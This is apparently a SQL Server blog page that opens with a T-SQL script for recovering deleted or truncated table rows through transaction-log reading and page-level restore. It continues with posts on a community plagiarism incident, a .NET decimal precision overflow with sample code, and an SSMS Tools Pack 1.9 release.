RAISERROR ('No dbo.HexStrToVarBin installed.
Go to http://sqlblog.com/blogs/peter_debetta/archive/2007/03/09/t-sql-convert-hex-string-to-varbinary.aspx
and install it in master database' , 18, 1)
SET NOCOUNT ON
BEGIN TRY
DECLARE @dbName VARCHAR(1000), @schemaName VARCHAR(1000), @tableName VARCHAR(1000),
@fullBackupName VARCHAR(1000), @undeletedTableName VARCHAR(1000),
@sql VARCHAR(MAX), @tableWasTruncated bit;
/*
THE FIRST LINE ARE OUR INPUT PARAMETERS
In this case we're trying to recover Production.Product1 table in AdventureWorks database.
My full backup of AdventureWorks database is at e:\AW.bak
*/
SELECT @dbName = 'AdventureWorks', @schemaName = 'Production', @tableName = 'Product1', @fullBackupName = 'e:\AW.bak',
@undeletedTableName = '##' + @tableName + '_Undeleted', @tableWasTruncated = 0,
-- copy the structure from original table to a temp table that we'll fill with restored data
@sql = 'IF OBJECT_ID(''tempdb..' + @undeletedTableName +
''') IS NOT NULL DROP TABLE ' + @undeletedTableName +
' SELECT *' +
' INTO ' + @undeletedTableName +
' FROM [' + @dbName + '].[' + @schemaName + '].[' + @tableName + ']' +
' WHERE 1 = 0'
EXEC (@sql)
IF OBJECT_ID('tempdb..#PagesToRestore') IS NOT NULL
DROP TABLE #PagesToRestore
/* FIND DATA PAGES WE NEED TO RESTORE*/
CREATE TABLE #PagesToRestore ([ID] INT IDENTITY(1,1), [FileID] INT, [PageID] INT,
[SQLtoExec] VARCHAR(1000)) -- DBCC PACE statement to run later
RAISERROR ('Looking for deleted pages...', 10, 1)
-- use T-LOG direct read to get deleted data pages
INSERT INTO #PagesToRestore([FileID], [PageID], [SQLtoExec])
EXEC('USE [' + @dbName + '];SELECT FileID, PageID, ''DBCC TRACEON (3604); DBCC PAGE ([' + @dbName +
'], '' + FileID + '', '' + PageID + '', 3) WITH TABLERESULTS'' as SQLToExec
FROM (SELECT DISTINCT LEFT([Page ID], 4) AS FileID, CONVERT(VARCHAR(100), ' +
'CONVERT(INT, master.dbo.HexStrToVarBin(SUBSTRING([Page ID], 6, 20)))) AS PageID
FROM sys.fn_dblog(NULL, NULL)
WHERE AllocUnitName LIKE ''%' + @schemaName + '.' + @tableName + '%'' ' +
'AND Context IN (''LCX_MARK_AS_GHOST'', ''LCX_HEAP'') AND Operation in (''LOP_DELETE_ROWS''))t');
SELECT *
FROM #PagesToRestore
-- if upper EXEC returns 0 rows it means the table was truncated so find truncated pages
IF (SELECT COUNT(*) FROM #PagesToRestore) = 0
BEGIN
RAISERROR ('No deleted pages found. Looking for truncated pages...', 10, 1)
-- use T-LOG read to get truncated data pages
INSERT INTO #PagesToRestore([FileID], [PageID], [SQLtoExec])
-- dark magic happens here
-- because truncation simply deallocates pages we have to find out which pages were deallocated.
-- we can find this out by looking at the PFS page row's Description column.
-- for every deallocated extent the Description has a CSV of 8 pages in that extent.
-- then it's just a matter of parsing it.
-- we also remove the pages in the extent that weren't allocated to the table itself
-- marked with '0x00-->00'
EXEC ('USE [' + @dbName + '];DECLARE @truncatedPages TABLE(DeallocatedPages VARCHAR(8000), IsMultipleDeallocs BIT);
INSERT INTO @truncatedPages
SELECT REPLACE(REPLACE(Description, ''Deallocated '', ''Y''), ''0x00-->00 '', ''N'') + '';'' AS DeallocatedPages,
CHARINDEX('';'', Description) AS IsMultipleDeallocs
FROM (
SELECT DISTINCT LEFT([Page ID], 4) AS FileID, CONVERT(VARCHAR(100),
CONVERT(INT, master.dbo.HexStrToVarBin(SUBSTRING([Page ID], 6, 20)))) AS PageID,
Description
FROM sys.fn_dblog(NULL, NULL)
WHERE Context IN (''LCX_PFS'') AND Description LIKE ''Deallocated%''
AND AllocUnitName LIKE ''%' + @schemaName + '.' + @tableName + '%'') t;
SELECT FileID, PageID
, ''DBCC TRACEON (3604); DBCC PAGE ([' + @dbName + '], '' + FileID + '', '' + PageID + '', 3) WITH TABLERESULTS'' as SQLToExec
FROM (
SELECT LEFT(PageAndFile, 1) as WasPageAllocatedToTable
, SUBSTRING(PageAndFile, 2, CHARINDEX('':'', PageAndFile) - 2 ) as FileID
, CONVERT(VARCHAR(100), CONVERT(INT,
master.dbo.HexStrToVarBin(SUBSTRING(PageAndFile, CHARINDEX('':'', PageAndFile) + 1, LEN(PageAndFile))))) as PageID
FROM (
SELECT SUBSTRING(DeallocatedPages, delimPosStart, delimPosEnd - delimPosStart) as PageAndFile, IsMultipleDeallocs
FROM (
SELECT *,
CHARINDEX('';'', DeallocatedPages)*(N-1) + 1 AS delimPosStart,
CHARINDEX('';'', DeallocatedPages)*N
AS delimPosEnd
FROM @truncatedPages t1
CROSS APPLY
(SELECT TOP (case when t1.IsMultipleDeallocs = 1 then 8 else 1 end)
ROW_NUMBER() OVER(ORDER BY number) as N
FROM master..spt_values) t2
)t)t)t
WHERE WasPageAllocatedToTable = ''Y''')
SELECT @tableWasTruncated = 1
END
DECLARE @lastID INT, @pagesCount INT
SELECT @lastID = 1, @pagesCount = COUNT(*) FROM #PagesToRestore
SELECT @sql = 'Number of pages to restore: ' + CONVERT(VARCHAR(10), @pagesCount)
IF @pagesCount = 0
RAISERROR ('No data pages to restore.', 18, 1)
ELSE
RAISERROR (@sql, 10, 1)
-- If the table was truncated we'll read the data directly from data pages without restoring from backup
IF @tableWasTruncated = 0
BEGIN
-- RESTORE DATA PAGES FROM FULL BACKUP IN BATCHES OF 200
WHILE @lastID <= @pagesCount
BEGIN
-- create CSV string of pages to restore
SELECT @sql = STUFF((SELECT ',' + CONVERT(VARCHAR(100), FileID) + ':' + CONVERT(VARCHAR(100), PageID)
FROM #PagesToRestore WHERE ID BETWEEN @lastID AND @lastID + 200
ORDER BY ID FOR XML PATH('')), 1, 1, '')
SELECT @sql = 'RESTORE DATABASE [' + @dbName + '] PAGE = ''' + @sql + ''' FROM DISK = ''' + @fullBackupName + ''''
RAISERROR ('Starting RESTORE command:' , 10, 1) WITH NOWAIT;
RAISERROR (@sql , 10, 1) WITH NOWAIT;
EXEC(@sql);
RAISERROR ('Restore DONE' , 10, 1) WITH NOWAIT;
SELECT @lastID = @lastID + 200
END
/*
If you have any differential or transaction log backups you
should restore them here to bring the previously restored data pages up to date
*/
END
DECLARE @dbccSinglePage TABLE
(
[ParentObject] NVARCHAR(500),
[Object] NVARCHAR(500),
[Field] NVARCHAR(500),
[VALUE] NVARCHAR(MAX)
)
DECLARE @cols NVARCHAR(MAX), @paramDefinition NVARCHAR(500), @SQLtoExec VARCHAR(1000),
@FileID VARCHAR(100), @PageID VARCHAR(100), @i INT = 1
-- Get deleted table columns from information_schema view
-- Need sp_executeSQL because database name can't be passed in as variable
SELECT @cols = 'select @cols = STUFF((SELECT '', ['' + COLUMN_NAME + '']''
FROM ' + @dbName + '.INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = ''' + @tableName + ''' AND
TABLE_SCHEMA = ''' + @schemaName + '''
ORDER BY ORDINAL_POSITION
FOR XML PATH('''')), 1, 2, '''')', @paramDefinition = N'@cols nvarchar(max) OUTPUT'
EXECUTE sp_executesql @cols, @paramDefinition, @cols = @cols OUTPUT
-- Loop through all the restored data pages,
-- read data from them and insert them into temp table
-- which you can then insert into the orignial deleted table
DECLARE dbccPageCursor CURSOR GLOBAL FORWARD_ONLY FOR
SELECT [FileID], [PageID], [SQLtoExec] FROM #PagesToRestore ORDER BY [FileID], [PageID]
OPEN dbccPageCursor;
FETCH NEXT FROM dbccPageCursor INTO @FileID, @PageID, @SQLtoExec;
WHILE @@FETCH_STATUS = 0
BEGIN
RAISERROR ('---------------------------------------------', 10, 1) WITH NOWAIT;
SELECT @sql = 'Loop iteration: ' + CONVERT(VARCHAR(10), @i);
RAISERROR (@sql, 10, 1) WITH NOWAIT;
SELECT @sql = 'Running: ' + @SQLtoExec
RAISERROR (@sql, 10, 1) WITH NOWAIT;
-- if something goes wrong with DBCC execution or data gathering, skip it but print error
BEGIN TRY
INSERT INTO @dbccSinglePage EXEC (@SQLtoExec)
-- make the data insert magic happen here
IF (SELECT CONVERT(BIGINT, [VALUE]) FROM @dbccSinglePage WHERE [Field] LIKE '%Metadata: ObjectId%')
= OBJECT_ID('['+@dbName+'].['+@schemaName +'].['+@tableName+']')
BEGIN
DELETE @dbccSinglePage
WHERE NOT ([ParentObject] LIKE 'Slot % Offset %' AND [Object] LIKE 'Slot % Column %')
SELECT @sql = 'USE tempdb; ' +
'IF (OBJECTPROPERTY(object_id(''' + @undeletedTableName + '''), ''TableHasIdentity'') = 1) ' +
'SET IDENTITY_INSERT ' + @undeletedTableName + ' ON; ' +
'INSERT INTO ' + @undeletedTableName +
'(' + @cols + ') ' +
STUFF((SELECT ' UNION ALL SELECT ' +
STUFF((SELECT ', ' + CASE WHEN VALUE = '[NULL]' THEN 'NULL' ELSE '''' + [VALUE] + '''' END
FROM (
-- the unicorn help here to correctly set ordinal numbers of columns in a data page
-- it's turning STRING order into INT order (1,10,11,2,21 into 1,2,..10,11...21)
SELECT [ParentObject], [Object], Field, VALUE,
RIGHT('00000' + O1, 6) AS ParentObjectOrder,
RIGHT('00000' + REVERSE(LEFT(O2, CHARINDEX(' ', O2)-1)), 6) AS ObjectOrder
FROM (
SELECT [ParentObject], [Object], Field, VALUE,
REPLACE(LEFT([ParentObject],
CHARINDEX('Offset', [ParentObject])-1),
'Slot ', '') AS O1,
REVERSE(LEFT([Object],
CHARINDEX('Offset ', [Object])-2)) AS O2
FROM @dbccSinglePage
WHERE t.ParentObject = ParentObject )t)t
ORDER BY ParentObjectOrder, ObjectOrder
FOR XML PATH('')), 1, 2, '')
FROM @dbccSinglePage t
GROUP BY ParentObject
FOR XML PATH('')
), 1, 11, '') + ';'
RAISERROR (@sql, 10, 1) WITH NOWAIT;
EXEC (@sql)
END
END TRY
BEGIN CATCH
SELECT @sql = 'ERROR!!!' + CHAR(10) + CHAR(13) +
'ErrorNumber: ' + ERROR_NUMBER() + '; ErrorMessage' + ERROR_MESSAGE() +
CHAR(10) + CHAR(13) + 'FileID: ' + @FileID + '; PageID: ' + @PageID
RAISERROR (@sql, 10, 1) WITH NOWAIT;
END CATCH
DELETE @dbccSinglePage
SELECT @sql = 'Pages left to process: ' + CONVERT(VARCHAR(10), @pagesCount - @i) +
CHAR(10) + CHAR(13) + CHAR(10) + CHAR(13) + CHAR(10) + CHAR(13), @i = @i+1
RAISERROR (@sql, 10, 1) WITH NOWAIT;
FETCH NEXT FROM dbccPageCursor INTO @FileID, @PageID, @SQLtoExec;
END
CLOSE dbccPageCursor; DEALLOCATE dbccPageCursor;
EXEC ('SELECT ''' + @undeletedTableName + ''' as TableName; SELECT * FROM ' + @undeletedTableName)
END TRY
BEGIN CATCH
SELECT ERROR_NUMBER() AS ErrorNumber, ERROR_MESSAGE() AS ErrorMessage
IF CURSOR_STATUS ('global', 'dbccPageCursor') >= 0
BEGIN
CLOSE dbccPageCursor;
DEALLOCATE dbccPageCursor;
END
END CATCH
-- if the table was deleted we need to finish the restore page sequence
IF @tableWasTruncated = 0
BEGIN
-- take a log tail backup and then restore it to complete page restore process
DECLARE @currentDate VARCHAR(30)
SELECT @currentDate = CONVERT(VARCHAR(30), GETDATE(), 112)
RAISERROR ('Starting Log Tail backup to c:\Temp ...', 10, 1) WITH NOWAIT;
PRINT ('BACKUP LOG [' + @dbName + '] TO DISK = ''c:\Temp\' + @dbName + '_TailLogBackup_' + @currentDate + '.trn''')
EXEC ('BACKUP LOG [' + @dbName + '] TO DISK = ''c:\Temp\' + @dbName + '_TailLogBackup_' + @currentDate + '.trn''')
RAISERROR ('Log Tail backup done.', 10, 1) WITH NOWAIT;
RAISERROR ('Starting Log Tail restore from c:\Temp ...', 10, 1) WITH NOWAIT;
PRINT ('RESTORE LOG [' + @dbName + '] FROM DISK = ''c:\Temp\' + @dbName + '_TailLogBackup_' + @currentDate + '.trn''')
EXEC ('RESTORE LOG [' + @dbName + '] FROM DISK = ''c:\Temp\' + @dbName + '_TailLogBackup_' + @currentDate + '.trn''')
RAISERROR ('Log Tail restore done.', 10, 1) WITH NOWAIT;
END
-- The last step is manual. Insert data from our temporary table to the original deleted table
The misconception here is that you can do a single table restore properly in SQL Server. You can't. But with little experimentation you can get pretty close to it.
One way to possible remove a dependency on a backup to retrieve deleted pages is to quickly run a similar script to the upper one that gets data directly from data pages while the rows are still marked as ghost records. It could be done if we could beat the ghost record cleanup task.
Tuesday, September 14, 2010
I was wondering what i should write about for my 200th blog post. And I’m in luck because Karma’s got my back and that’s why yesterday we had an interesting case of plagiarizing. So let’s get optimistic! A relatively new blogger called SQLDigs copied this post of mine about new version of SSMS Tools Pack. Because there was no trackback or any other link back to my blog I had no idea until David Levy (Blog|Twitter) told me about it. As I’ve looked over the other content of the blog I’ve noticed quite a few familiar paragraphs of various technical articles. I’ve tweeted it and the community quickly found out who was featured. Now we all know that plagiarism is not cool and the community doesn’t tolerate it all. Brent Ozar (Blog|Twitter) has been waging the battle before and has an excellent series of articles about what do to about it in his posts How to Take Action When Your Content is Plagiarized and More Thoughts on Blog Plagiarism Not long ago there was a case where a guy named John had a blog on his company’s site. On that blog he had posts copied from all over the web. Once the folks who were plagiarized saw it they went ballistic. The whole thing lasted about 2 days and in the end he took the offending posts down. Brent described the whole thing in great detail so go read that. It’s an interesting read. On to yesterday events! After seeing my post being copied I’ve posted a comment on the post asking him to either post his own ideas about my original post or remove it. As much as I want exposure for the SSMS Tools Pack I don’t like to be plagiarized. A few more people also commented about which posts he copied. Next, Jen McCown (Blog|Twitter) of the MidnightDBA’s (who have an awesome video show you should check out) immediately posted a blog about it. Depending on the situation this could have gone the way of the John. So let’s pause a bit. Overreaction is never a good thing. I’m a big believer in second chances. We all screw up and hopefully learn from it. Even when John was confronted about his plagiarism, an olive branch was extended to him which I wholeheartedly supported. He choose not to take it thus not learning in the process. Because he decided against it the first result on Google search for his name is Brent’s post about the whole thing. I wonder how much John’s business suffered because of that. And herein lies the difference between him and the SQLDigs blogger. SQLDigs decided to take the peace offer. He emailed me and other commenters saying he’s sorry and that he’s new to the whole blogging this and that he didn’t really know better. Finishing the mail with “How can I fix it?” type of statement was the awesome part for me. This guy, as new to blogging as he is, apparently gets it after being shown the wrong. He has removed the problematic content and posted an optimistic looking post for the future. I hope he redoes some of his original posts because the non plagiarized content was good. It’d be a shame to go to waste. I’ve asked him to join Twitter because I think he can contribute to the overall knowledge sharing. A minute after I’ve sent the mail, Dave suggested the same thing.  Hopefully he’ll join. To end on a funny note here’s a tweet from Jonathan Kehayias (Blog|Twitter) who missed the whole thing and was wondering what is going on: 
And Rebecca Mitchell (Blog|Twitter) wanting to give me a peace prize for some reason: 
There were 4 lessons we learned from all this: 1. Plagiarism is not cool! 2. If you do it and you get caught, man up, admit you were wrong and fix it. 3. Don’t mess with the community. It can seriously impact your future work. 4. Apparently I should get a Peace Prize :) Dave puts it nicely with this tweet: 
Better give some #sqllove then get some #sqlhate. In Jen’s words: Optimism, I haz it!
Tuesday, August 31, 2010
Having the SSMS Tools Pack out in the wild enables me to get much “joy” from different bug reports people send me. And let me tell you, people send me back some seriously weird errors. But the most unexpected error message I’ve seen so far was the OverflowException when calling System.Data.SqlClient.SqlDataReader.GetDecimal(Int32 i). It turns out that SQL Server decimal data type is not mapped to the .Net decimal in it’s whole range. .Net decimal type only maps to SQL Server one in the decimal(29, X) range. That means that if you have a decimal column that has the precision higher than 29 and no matter the scale, you won’t be able to use the native .Net data type. So what to do? Let’s take a look with an example. The comments provide additional info. SQL Code: -- create a test table in tempdb with one valid and one invalid decimal mapping column.
CREATE TABLE TestTable
(
[ID] [INT] IDENTITY(1,1) NOT NULL,
[ValidDecVal] [DECIMAL](29, 2) NOT NULL,
[InvalidDecVal] [DECIMAL](30, 30) NOT NULL
)
GO
-- insert some data
INSERT INTO TestTable(ValidDecVal, InvalidDecVal)
-- both values are in correct range
SELECT 123456789012345678901234567.56, 0.123456789012345678901234567890
C# Code:
private void GetData()
{
using (SqlConnection conn = new SqlConnection(@"server=TestServer; database=tempdb; Integrated Security=SSPI;"))
{
using (SqlCommand cmd = new SqlCommand("SELECT ID, ValidDecVal, InvalidDecVal FROM TestTable", conn))
{
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader(CommandBehavior.CloseConnection);
rdr.Read();
// get the id
int id = rdr.GetInt32(0);
// get the 29 precision value just fine
decimal validDecimal = rdr.GetDecimal(1);
// this errors out ...
decimal invalidDecimal = rdr.GetDecimal(2);
// so does this ...
decimal invalidDecimal = rdr.GetSqlDecimal(2).Value;
// the only thing to do is to either pass around SqlDecimal class
SqlDecimal invalidDecimalAsSqlDecimal = rdr.GetSqlDecimal(2);
// or to cast it to string
string invalidDecimalAsString = invalidDecimalAsSqlDecimal.ToString();
// ... do something with upper values
Console.WriteLine(invalidDecimalAsSqlDecimal);
Console.WriteLine(invalidDecimalAsString);
}
}
}
If you’re working with large precision types I’d like to hear how you overcome this problem in .Net.
The only way I’ve found to deal with this is to either pass around the raw SqlDecimal data type or its string value.
A quick search revealed this Connect item that showed the problem with Linq2SQL. I don’t know why this isn’t fixed yet but I hope it will be soon. If you encounter this problem, vote it up.
Tuesday, August 24, 2010
This is a release that fixes all known bugs. If you encounter any new ones don’t hesitate to report them. :)
The main feature list hasn’t changed.
A few improvements have been made though:
Save SQL Snippets to HTML and/or print them directly from SSMS.
In Window Connection Coloring the server names can now be regular expressions giving you the ability to color multiple servers with the same color.
Here’s a blog from David Levy (Blog|Twitter) about the new window connection coloring using regular expression and why is it really useful to him. Thanx for kind words Dave.
You can download the new version 1.9 here.
Enjoy it!
|